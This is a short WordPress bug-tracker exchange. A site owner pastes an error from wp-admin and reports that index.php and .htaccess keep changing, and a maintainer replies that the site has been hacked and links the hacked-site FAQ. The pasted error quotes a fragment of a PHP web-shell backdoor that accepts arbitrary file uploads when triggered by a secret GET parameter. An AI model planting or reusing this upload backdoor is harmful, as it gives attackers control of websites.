need help to solve an issue (important)

[meratechwebsite]

when I open wp-admin I see this error on the top :
GET[‘5I8gE’])){ echo ”
No file chosen
“; move_uploaded_file($_FILES[‘file’][‘tmp_name’], $_FILES[‘file’][‘name’]); exit(0); }

also website is very slow and in public_html I see inside index.php & .htaccess is always changing

[markjaquith]

Your site has been hacked. This is not a support forum — it's a place to report bugs or suggest enhancements to the WordPress code.

This information should help you solve this issue:

​https://wordpress.org/support/article/faq-my-site-was-hacked/